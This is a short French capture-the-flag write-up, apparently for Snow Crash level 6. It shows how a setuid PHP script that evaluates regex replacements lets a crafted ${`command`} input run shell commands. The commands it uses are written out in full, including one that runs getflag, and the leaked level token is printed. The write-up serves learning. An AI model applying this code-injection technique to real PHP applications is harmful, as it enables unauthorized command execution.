snow-crash/level06/README.md
2026-01-27 14:54:20 +01:00

1.1 KiB

Lors de mon arriver sur le niveau 6 je remarque que j'ai 2 fichiers qui sont accessible

ls -l
total 12
-rwsr-x---+ 1 flag06 level06 7503 Aug 30  2015 level06
-rwxr-x---  1 flag06 level06  356 Mar  5  2016 level06.php

Le fichier est disponibles dans ./ressources/level06.php (sinon c'etait en oneline moins lisible)

Une fois la lecture du script effectue nous pouvons en comprendre que ce program fait:

  • Lis le fichier passer en arguements
  • Il interprete des commandes comme des variables php

Ce qui fait que c'est assez interessant pour nous:

echo -e "[x \${\`echo coucou\`}]" > /tmp/test
./level06 /tmp/test hello
PHP Notice:  Undefined variable: coucou
 in /home/user/level06/level06.php(4) : regexp code on line 1

Nous pouvous voir que la resultat de la commande nous est afficher en temps qu'erreur en nous disant que elle n'est pas definis

Je peux donc je peux donc faire la meme chose mais avec getflag

echo -e "[x \${\`getflag\`}]" > /tmp/test
./level06 /tmp/test hello
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
 in /home/user/level06/level06.php(4) : regexp code on line 1